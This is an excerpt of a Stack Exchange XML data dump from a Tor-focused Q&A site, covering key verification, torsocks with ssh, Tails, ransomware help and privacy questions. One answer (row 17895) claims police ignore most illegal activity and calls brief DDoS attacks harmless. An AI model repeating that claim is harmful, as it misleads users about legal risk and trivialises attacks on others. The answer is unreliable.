  <row Id="17861" PostTypeId="1" CreationDate="2018-10-06T14:57:15.937" Score="1" ViewCount="257" Body="&lt;p&gt;I enter: gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&#xA;result: &#xA;gpg: requesting key 93298290 from hkp server pool.sks-keyservers.net&#xA;gpg: key 93298290: public key &quot;Tor Browser Developers (signing key) &quot; imported&#xA;gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model&#xA;gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u&#xA;gpg: next trustdb check due at 2023-04-02&#xA;gpg: Total number processed: 1&#xA;gpg:               imported: 1  (RSA: 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enter: gpg --fingerprint 0x4E2C6E8793298290&lt;/p&gt;&#xA;&#xA;&lt;p&gt;expected (from website):&#xA;pub   rsa4096/0x4E2C6E8793298290 2014-12-15 [C] [expires: 2020-08-24]&#xA;      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;uid                   [ unknown] Tor Browser Developers (signing key) &#xA;sub   rsa4096/0xD1483FA6C3C07136 2016-08-24 [S] [expires: 2018-08-24]&#xA;      Key fingerprint = A430 0A6B C93C 0877 A445  1486 D148 3FA6 C3C0 7136&#xA;sub   rsa4096/0xEB774491D9FF06E2 2018-05-26 [S] [expires: 2020-09-12]&#xA;      Key fingerprint = 1107 75B5 D101 FB36 BC6C  911B EB77 4491 D9FF 06E2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual:&#xA;pub   4096R/93298290 2014-12-15 [expires: 2020-08-24]&#xA;      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;uid                  Tor Browser Developers (signing key) &#xA;sub   4096R/D9FF06E2 2018-05-26 [expires: 2020-09-12]&lt;/p&gt;&#xA;" OwnerUserId="23261" LastActivityDate="2019-10-19T14:24:05.503" Title="Why are the gpg commnd results for posted keys and fingerprints different from what I see in my terminal?" Tags="|tor-browser-bundle|linux|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17868" PostTypeId="1" CreationDate="2018-10-07T19:10:09.680" Score="0" ViewCount="155" Body="&lt;p&gt;By default, Tor Browser 8.0 offers its own home page &quot;about:tor&quot; with DuckDuckGo search bar, version indicator, get started guide and other useless things. It would be great to replace it with the default Firefox start page &quot;about:home&quot; with its convenient TOP SITES menu (a.k.a. speed dial), but unfortunately it seems to be permanently disabled by developers. Third-party extensions, such as open sourced &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/new-tab-tools/&quot; rel=&quot;nofollow noreferrer&quot;&gt;New Tab Tools&lt;/a&gt; and &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/metro-tab/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metro tab&lt;/a&gt; also don't work properly: for some reason they cannot load thumbnails. Is there any way to solve the speed dial problem in the Tor Browser somehow? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23275" LastEditorUserId="23275" LastEditDate="2018-10-07T23:48:13.530" LastActivityDate="2022-04-03T20:05:05.410" Title="How to bring back the default Firefox start page?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17869" PostTypeId="1" CreationDate="2018-10-07T21:42:41.337" Score="0" ViewCount="112" Body="&lt;p&gt;Tor looks very advanced in network intelligence, but before the target, the last, the first node, the firewall, the proxy, there's the computer himself !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if Tor is blacklisted from a computer-installed app control software ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example Sophos can block it and i haven't found any solutions (considering the computer is protected from USB Boot and BIOS access, so using the controlled OS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="23276" LastActivityDate="2022-04-04T19:06:40.540" Title="Tor and app control solutions" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17874" PostTypeId="1" CreationDate="2018-10-09T08:05:49.343" Score="0" ViewCount="2212" Body="&lt;p&gt;Tails has an option for opening existing Veracrypt Volumes, but can I create such volumes on Tails, and if so how? or do I need to create an admin password and install VeraCrypt?&lt;/p&gt;&#xA;" OwnerUserId="23285" LastActivityDate="2022-01-26T05:01:15.143" Title="Veracrypt on Tails" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17878" PostTypeId="2" ParentId="17874" CreationDate="2018-10-10T08:41:43.700" Score="0" Body="&lt;p&gt;Yes, you need to install Veracrypt first.  Then create the drive.  But once it's created you never need to install Veracrypt again, just open it from the embedded Tails software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that only Serpent, Twofish, and AES can be read with the Tails software.  The other algorithms don't work, such as Camellia.  And they only work individually, so don't try stacking them...for example AES(Twofish(Serpent)) won't work.&lt;/p&gt;&#xA;" OwnerUserId="23294" LastActivityDate="2018-10-10T08:41:43.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17885" PostTypeId="1" CreationDate="2018-10-12T09:11:42.917" Score="0" ViewCount="147" Body="&lt;p&gt;I Have just upgraded Tor after having been prompted to do so when starting the version, which worked. Now, at the re-start of Tor I get the attached pop-up screen.&lt;a href=&quot;https://i.stack.imgur.com/Jts9k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jts9k.png&quot; alt=&quot;screenshot of pop-up screen&quot;&gt;&lt;/a&gt;&#xA;When restarting I always come back to the same screen. When trying to &quot;Copy Tor Log to Clipboard&quot; it does something, but there is no log at all at the end. I can now even not see which version I am trying to start. I am working with OS 10.9.5.&#xA;Any advice what to do would be very welcome.  &lt;/p&gt;&#xA;" OwnerUserId="23309" LastActivityDate="2022-03-27T00:01:25.197" Title="Can't start Tor after upgrade to newest version" Tags="|mac|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17886" PostTypeId="1" CreationDate="2018-10-12T12:00:10.343" Score="0" ViewCount="53" Body="&lt;p&gt;I am interested in installation of Tails to Hard Disk. I tryed to make USB flash disk with Tails then use information from it. Cant find anser in manual. Help me plz.&lt;/p&gt;&#xA;" OwnerUserId="23310" LastActivityDate="2019-01-03T05:38:15.300" Title="Question about Tails installation" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17889" PostTypeId="2" ParentId="17885" CreationDate="2018-10-13T19:59:15.230" Score="0" Body="&lt;p&gt;I faced a lot of issues after upgrading to the latest Tor version. I dumped it and reinstalled tor 7.5.6 from the Tor archives.&lt;/p&gt;&#xA;" OwnerUserId="23245" LastActivityDate="2018-10-13T19:59:15.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17895" PostTypeId="2" ParentId="16854" CreationDate="2018-10-15T02:38:11.443" Score="0" Body="&lt;p&gt;a vpn just changes your ip encrypts it and makes it go to your vpn provider instead of your isp tor is just like the same except its only for that browser and it goes to voulinteer servers, btw if your doing anything illegal the police most likely dont care so it doesnt even really matter unless your stealing large amounts of money or doing somthing really bad. not bad as in grabbing ip's and ddosing someone for 5 min.&lt;/p&gt;&#xA;" OwnerUserId="23330" LastActivityDate="2018-10-15T02:38:11.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17897" PostTypeId="1" AcceptedAnswerId="17899" CreationDate="2018-10-15T11:01:33.437" Score="0" ViewCount="46" Body="&lt;p&gt;I am running tor as a daemon on a Ubuntu server. I want to periodically and automatically refresh the identity I am using in order to get a new exit node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've found to do this is to restart the tor service, but this is not a viable option as it results in downtime for the tor service. Is there a way of doing this with a configuration setting?&lt;/p&gt;&#xA;" OwnerUserId="23332" LastActivityDate="2018-10-16T09:32:11.723" Title="Periodically load new profile on Ubuntu when running daemon" Tags="|configuration|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17899" PostTypeId="2" ParentId="17897" CreationDate="2018-10-16T09:32:11.723" Score="0" Body="&lt;p&gt;The following command refreshes the IP without any service downtime:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;killall -HUP tor&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23332" LastActivityDate="2018-10-16T09:32:11.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17906" PostTypeId="1" CreationDate="2018-10-18T23:52:15.757" Score="0" ViewCount="5145" Body="&lt;p&gt;On my xp SP3 machine I wish to install the latest TOR update.  I am not interested in Windows upgrade.  Only TOR upgrade.  Since I cannot use the installer package, how can I continue to upgrade manually?&lt;/p&gt;&#xA;" OwnerUserId="23352" LastEditorUserId="5234" LastEditDate="2019-06-01T11:54:44.250" LastActivityDate="2021-05-07T10:04:10.367" Title="install latest tor on xp" Tags="|windows|tor-install|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17908" PostTypeId="2" ParentId="1117" CreationDate="2018-10-19T20:00:26.960" Score="0" Body="&lt;h1&gt;Add &lt;a href=&quot;http://i2p.xyz&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;&lt;code&gt;.xyz&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; after the &lt;code&gt;.i2p&lt;/code&gt; part. (Works as of 2018.)&lt;/h1&gt;&#xA;&lt;p&gt;E.g.: &lt;a href=&quot;http://identiguy.i2p.xyz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://identiguy.i2p.xyz/&lt;/a&gt; (That’s a list of eepsites, with reachability status.)&lt;/p&gt;&#xA;&lt;p&gt;Some sites don’t work via the proxy;  e.g. &lt;a href=&quot;http://i2pforum.i2p.xyz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i2pforum.i2p.xyz/&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;403 Denied&lt;/p&gt;&#xA;&lt;p&gt;Inproxy access denied. You must run I2P to access this site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Error messages can differ.  The displayed page may not even explicitly state that there was an error (e.g. &lt;a href=&quot;http://stats.i2p.xyz/cgi-bin/dashboard.cgi&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://stats.i2p.xyz/cgi-bin/dashboard.cgi&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Welcome to nginx on Debian!&lt;/p&gt;&#xA;&lt;p&gt;If you see this page, the nginx web server is successfully installed and working on Debian. Further configuration is required. […]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For comparison, the same page accessed from within the network just now:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vD8zQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vD8zQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23292" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-10-19T20:00:26.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17909" PostTypeId="1" CreationDate="2018-10-20T07:39:43.100" Score="1" ViewCount="2252" Body="&lt;p&gt;I'm having a hard time understanding why torsocks/torify isn't working in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; torify ssh user@remotemachine&#xA; torsocks ssh user@remotemachine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do the following command when I get in my actual IP is printed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $SSH_CLIENT&#xA;# [my actual IP + remote/local ports]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o ProxyCommand='nc -x localhost:9050 %h %p' user@remotemachine # 9050 being the SOCKSPort&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I get the tor ip. What gives? What am I missing about how torify/torsocks and/or ssh works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contents of torsocks.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TorAddress 127.0.0.1&#xA;TorPort 9050              # matches tor's SOCKSPort&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit: I should mention that I'm on MacOS and cannot torify/torsocks /usr/bin/ssh directly since /usr/bin is protected by Apple's System Integrity Protection so I copy it into /tmp/ssh first. I don't imagine that would change anything but don't know what I don't know so...&lt;/p&gt;&#xA;" OwnerUserId="23354" LastEditorUserId="23354" LastEditDate="2018-10-20T09:00:58.143" LastActivityDate="2021-12-19T03:01:00.090" Title="SSH with torify/socks" Tags="|torsocks|ssh|torify|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17911" PostTypeId="1" CreationDate="2018-10-20T17:19:33.997" Score="1" ViewCount="224" Body="&lt;p&gt;I need a list of non-darknet emails that work fine with Tor. I just need a list of well known email providers(like Google,Hotmail,etc) that work with Tor.&#xA;I know Yandex works with Tor, but you get banned after 5days - 1 week.&lt;/p&gt;&#xA;" OwnerUserId="23360" LastActivityDate="2018-10-20T20:46:11.477" Title="Emails that work with Tor" Tags="|email|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17912" PostTypeId="2" ParentId="17911" CreationDate="2018-10-20T20:46:11.477" Score="1" Body="&lt;p&gt;protonmail is accessible through their own onion site: &lt;a href=&quot;https://protonirockerxow.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonirockerxow.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2018-10-20T20:46:11.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17913" PostTypeId="2" ParentId="17909" CreationDate="2018-10-20T20:49:04.267" Score="0" Body="&lt;p&gt;Try to use full path to your ssh copy like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify /tmp/ssh user@remotemachine&#xA;torsocks /tmp/ssh user@remotemachine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2018-10-20T20:49:04.267" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17914" PostTypeId="1" CreationDate="2018-10-21T13:08:17.437" Score="0" ViewCount="150" Body="&lt;p&gt;HELP ME&#xA;I got effected by GANDCRAB ransomeware and all my files &amp;amp; documents got encrypted and .SBEPM file extension got added orginal file name&lt;/p&gt;&#xA;" OwnerUserId="23366" LastActivityDate="2019-08-19T00:48:51.930" Title="HELP ME please i don't know what to do" Tags="|windows|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17915" PostTypeId="2" ParentId="17914" CreationDate="2018-10-21T13:46:52.470" Score="0" Body="&lt;p&gt;Sounds like a Malware issue. &#xA;If you were using the TOR network while infected...not sure how helpful this Stack can be....I'm not very experienced here either.&#xA;Id research the type of Malware....here's a good starting place: &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/&lt;/a&gt;&#xA;Good Luck and Cheers!&lt;/p&gt;&#xA;" OwnerUserId="23367" LastActivityDate="2018-10-21T13:46:52.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17916" PostTypeId="2" ParentId="17868" CreationDate="2018-10-21T14:27:32.563" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;having a special &lt;code&gt;about:tor&lt;/code&gt; is intended and the &lt;em&gt;&quot;convenient TOP SITES&quot;&lt;/em&gt; are THANKFULLY disabled by the developers.&lt;/li&gt;&#xA;&lt;li&gt;DON'T install any additional addons: &lt;a href=&quot;https://tor.stackexchange.com/q/8832/5234&quot;&gt;Can I install Firefox addons on Tor Browser?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;i don't know how the addons fetch their thumbnails (or connect to the internet), but the internal function pings the sites regularly and with this special (personal) set of sites and the temporal correlation it may be possible to track you!&lt;/li&gt;&#xA;&lt;li&gt;so if there is something like a &lt;em&gt;&quot;speed dial problem&quot;&lt;/em&gt;, it is already solved by the tor-devs!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;now it is your decision to either use a convenient browser with bells, whistles and every thing else like tracking or a secure browser with audited code, secure addons and carefully chosen default settings.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2018-10-21T14:27:32.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17917" PostTypeId="2" ParentId="17906" CreationDate="2018-10-21T16:47:23.580" Score="0" Body="&lt;p&gt;windows xp is absolutely EOL and highly insecure!!! - current firefox/torbrowser won't work on this outdated system anymore.&lt;br&gt;&#xA;not to mention that using outdated firefox/torbrowser is a bad idea and must also be considered insecure! - you probably would be even more secure (perhaps except in the view of anonymity and privacy) by using a current &quot;normal&quot; browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i also wouldn't advise you to upgrade windows, since current windows tracks you by default and it is much work resp. impossible to really fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i highly recommend to use a FOSS-OS to run Tor on. probably &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; may also be interesting for you.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-12-14T08:12:05.267" LastActivityDate="2019-12-14T08:12:05.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17923" PostTypeId="2" ParentId="17869" CreationDate="2018-10-22T11:12:02.743" Score="0" Body="&lt;p&gt;to make it as short &amp;amp; simple as possible: if this all is blocked/controlled, the solution is to use an other computer!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;as this all is blocked and you don't have access to it, i guess it is not your hardware.&lt;/li&gt;&#xA;&lt;li&gt;perhaps the owner of the hardware has good reasons to restrict the usage of his hardware.&lt;br&gt;&#xA;if not, you can ask him to loosen the restrictions (e.g. to use your own liveOS with your data/settings). - this also may have advantages for the hardware-owner, because he does not need an installed OS, worry about it's maintenance and probably save the hard-disk.&lt;/li&gt;&#xA;&lt;li&gt;i doubt you have the freedom to choose your internet connection as long as everything else is controlled but if so, you can use &lt;a href=&quot;https://guardianproject.info/apps/orbot/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orbot&lt;/a&gt;, &lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Pi&lt;/a&gt; or any other Tor-router/-proxy to route your traffic over Tor.&lt;br&gt;&#xA;but there are tons of things you have to observe (but maybe can't) and can go wrong, so i wouldn't recommend this.&lt;/li&gt;&#xA;&lt;li&gt;last but not least:&lt;br&gt;&#xA;on such an highly controlled environment (not by yourself) i wouldn't do anything sensitive, even if there were TorBrowser preinstalled. - who knows what is recorded or leaked by the OS, intentionally or by accident (malware, backdoors etc.)!?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2018-10-22T11:12:02.743" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="17924" PostTypeId="1" CreationDate="2018-10-22T15:38:33.973" Score="0" ViewCount="1177" Body="&lt;p&gt;I'm using Mac OS X, Version 10.6.8, how can I use Tor?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried downloading the latest version, shown here: &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously that did not work as that requires 10.9 or later.  I looked around on &lt;a href=&quot;https://www.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org&lt;/a&gt; and didn't find older versions, or find any related information in the FAQ.  I could have missed it, but I'd appreciate some help. Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="23376" LastActivityDate="2018-10-27T10:38:07.883" Title="Older versions of Tor" Tags="|mac|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17926" PostTypeId="1" CreationDate="2018-10-22T23:20:11.737" Score="1" ViewCount="670" Body="&lt;p&gt;I have been looking up that tor may or may not be for windows 10 and I want to use tor for looking around the deep web. several people said that windows 10 has lots of data that can act as spyware.&lt;/p&gt;&#xA;" OwnerUserId="23380" LastActivityDate="2018-10-25T05:53:48.630" Title="Is Tor safe for windows ten?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17932" PostTypeId="2" ParentId="17840" CreationDate="2018-10-24T01:07:27.880" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;https://www.nomoreransom.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nomoreransom.org&lt;/a&gt;, maybe there's no way to pay anything.&#xA;BDGandCrabDecryptTool Decryptor is designed to decrypt files encrypted by GandCrab (includes v5 Syrian victims) Ransom.&lt;/p&gt;&#xA;" OwnerUserId="23393" LastEditorUserId="23393" LastEditDate="2018-10-24T03:37:38.920" LastActivityDate="2018-10-24T03:37:38.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17936" PostTypeId="2" ParentId="17926" CreationDate="2018-10-25T05:53:48.630" Score="1" Body="&lt;p&gt;No, Tor is not safe if you run it on top of Windows 10. Microsoft is a spyware company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.gnu.org/proprietary/malware-microsoft.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft's Software is Malware&lt;/a&gt; for more details (e.g Microsoft Surveillance).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Malware means software designed to function in ways that mistreat or&#xA;  harm the user. (This does not include accidental errors.) This page&#xA;  explains how Microsoft software is malware.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See also similiar question here &lt;a href=&quot;https://tor.stackexchange.com/questions/7353/does-windows-10-compromise-tor&quot;&gt;Does windows 10 compromise TOR?&lt;/a&gt; with the very clear answer: &lt;strong&gt;Don't use Tor on Windows 10&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2018-10-25T05:53:48.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17938" PostTypeId="1" CreationDate="2018-10-25T13:37:06.047" Score="4" ViewCount="241" Body="&lt;p&gt;I use DuckDuckGo search and when I went to whatismyipaddress.com using Tor browser, some ads by Google popped up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8FZD6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8FZD6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my anonymity being compromised?&lt;/p&gt;&#xA;" OwnerUserId="23409" LastEditorUserId="88" LastEditDate="2019-04-27T08:46:52.343" LastActivityDate="2020-11-29T05:06:16.517" Title="Why am I getting ads by Google" Tags="|anonymity|website|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17940" PostTypeId="2" ParentId="17333" CreationDate="2018-10-26T10:02:27.347" Score="1" Body="&lt;p&gt;Attacker hack your device direct. This is based on your device. Link below. Question Asked should be the same answer for you. Above answer do not want to repeat. Same for VPN/ tor other networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/11783/could-someone-hack-a-tails-device-based-on-the-firmware-in-it&quot;&gt;Could someone hack a tails device based on the firmware in it?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After attack consider links&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exfiltrate data from computers using speakers and headphones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/mosquito-attack-shows-how-malware-can-exfiltrate-data-via-pc-speakers&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/mosquito-attack-shows-how-malware-can-exfiltrate-data-via-pc-speakers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23418" LastEditorUserId="23418" LastEditDate="2018-10-26T10:17:46.360" LastActivityDate="2018-10-26T10:17:46.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17942" PostTypeId="2" ParentId="17924" CreationDate="2018-10-27T09:53:34.130" Score="1" Body="&lt;p&gt;it is neither advised to use an outdated version of Tor nor an old OS! - they are deprecated (mostly) for a reason resp. not supported any more by security concerned software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a possible solution could be a VM with a supported OS, but as long as your host is outdated and potentially insecure this is NOT a good idea! everything depending on insecure software (your host in this case) must considered as insecure, because if your host is compromised it doesn't matter how secure everything else that depends on it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i highly recommend to use a current FOSS-OS to run Tor on. probably &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; may also be interesting for you.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-10-27T10:38:07.883" LastActivityDate="2018-10-27T10:38:07.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17943" PostTypeId="2" ParentId="17498" CreationDate="2018-10-27T20:23:07.037" Score="1" Body="&lt;p&gt;Your VPN will absolutely be able to see traffic to and from Tor since your entire connection wrapped in a VPN. They will hopefully not be able to decrypt it. To do that, they would also have to be sniffing exit nodes and running relays on Tor themselves. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2018-10-27T20:23:07.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17947" PostTypeId="2" ParentId="17638" CreationDate="2018-10-29T15:14:12.070" Score="1" Body="&lt;p&gt;I'm not sure if you would want to use Tails, which is a live version of Linux that runs from a thumb drive that runs Tor by default. &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org&lt;/a&gt;. You didn't mention in your question if you had already seen this and discarded it as an option, and I don't want to assume you are are aware of it already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tails is a live operating system that you can start on almost any computer from a USB stick or a DVD.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It aims at preserving your privacy and anonymity, and helps you to:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;use the Internet anonymously and circumvent censorship;&#xA;  all connections to the Internet are forced to go through the Tor network;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;leave no trace on the computer you are using unless you ask it explicitly;&#xA;  use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2018-10-29T15:14:12.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17948" PostTypeId="2" ParentId="1628" CreationDate="2018-10-29T15:17:19.237" Score="0" Body="&lt;p&gt;I would handle this through the use of VM's with each user having their own desktop instance and then multiple browser profiles is not an issue because it will be separate installs.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2018-10-29T15:17:19.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17950" PostTypeId="1" CreationDate="2018-10-30T00:50:32.060" Score="1" ViewCount="132" Body="&lt;p&gt;There's a lot of talk that PHP is &quot;inherently insecure&quot; and &quot;great if you want your site to get hacked&quot;. I've never used PHP, so I can't make an educated opinion myself, but I am wondering why this is said so often. And if it really is &quot;inherently insecure&quot;, how come so many HS use them (especially ones engaging in the trading of less than legal items, eh)?&lt;/p&gt;&#xA;" OwnerUserId="23438" LastActivityDate="2022-03-31T11:00:50.127" Title="Why do so many HS devs use PHP?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
